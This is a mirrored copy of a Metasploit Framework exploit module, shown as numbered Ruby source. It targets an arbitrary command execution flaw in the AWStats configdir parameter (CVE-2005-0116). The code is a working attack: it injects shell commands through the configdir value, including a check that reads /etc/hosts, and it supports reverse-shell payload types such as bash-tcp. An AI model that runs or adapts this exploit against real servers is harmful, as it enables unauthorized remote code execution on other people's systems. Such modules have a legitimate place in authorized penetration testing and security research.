CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/awstats_configdir_exec.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'AWStats configdir Remote Command Execution',
14
'Description' => %q{
15
This module exploits an arbitrary command execution vulnerability in the
16
AWStats CGI script. iDEFENSE has confirmed that AWStats versions 6.1 and 6.2
17
are vulnerable.
18
},
19
'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>', 'hdm' ],
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
['CVE', '2005-0116'],
24
['OSVDB', '13002'],
25
['BID', '12298'],
26
['URL', 'http://www.idefense.com/application/poi/display?id=185&type=vulnerabilities'],
27
],
28
'Privileged' => false,
29
'Payload' =>
30
{
31
'DisableNops' => true,
32
'Space' => 512,
33
'Compat' =>
34
{
35
'PayloadType' => 'cmd cmd_bash',
36
'RequiredCmd' => 'generic perl ruby python telnet bash-tcp',
37
}
38
},
39
'Platform' => 'unix',
40
'Arch' => ARCH_CMD,
41
'Targets' => [[ 'Automatic', { }]],
42
'DisclosureDate' => '2005-01-15',
43
'DefaultTarget' => 0))
44
45
register_options(
46
[
47
OptString.new('URI', [true, "The full URI path to awstats.pl", "/cgi-bin/awstats.pl"]),
48
])
49
end
50
51
def check
52
res = send_request_cgi({
53
'uri' => normalize_uri(datastore['URI']),
54
'vars_get' =>
55
{
56
'configdir' => '|echo;cat /etc/hosts;echo|'
57
}
58
}, 25)
59
60
if (res and res.body.match(/localhost/))
61
return Exploit::CheckCode::Vulnerable
62
end
63
64
return Exploit::CheckCode::Safe
65
end
66
67
def exploit
68
command = Rex::Text.uri_encode(payload.encoded)
69
urlconfigdir = normalize_uri(datastore['URI']) + "?configdir=|echo;echo%20YYY;#{command};echo%20YYY;echo|"
70
71
res = send_request_raw({
72
'uri' => urlconfigdir,
73
'method' => 'GET',
74
'headers' =>
75
{
76
'Connection' => 'Close',
77
}
78
}, 25)
79
80
if (res)
81
print_status("The server returned: #{res.code} #{res.message}")
82
83
m = res.body.match(/YYY\n(.*)\nYYY/m)
84
85
if (m)
86
print_status("Command output from the server:")
87
print("\n" + m[1] + "\n\n")
88
else
89
print_status("This server may not be vulnerable")
90
end
91
else
92
print_status("No response from the server")
93
end
94
end
95
end
96
97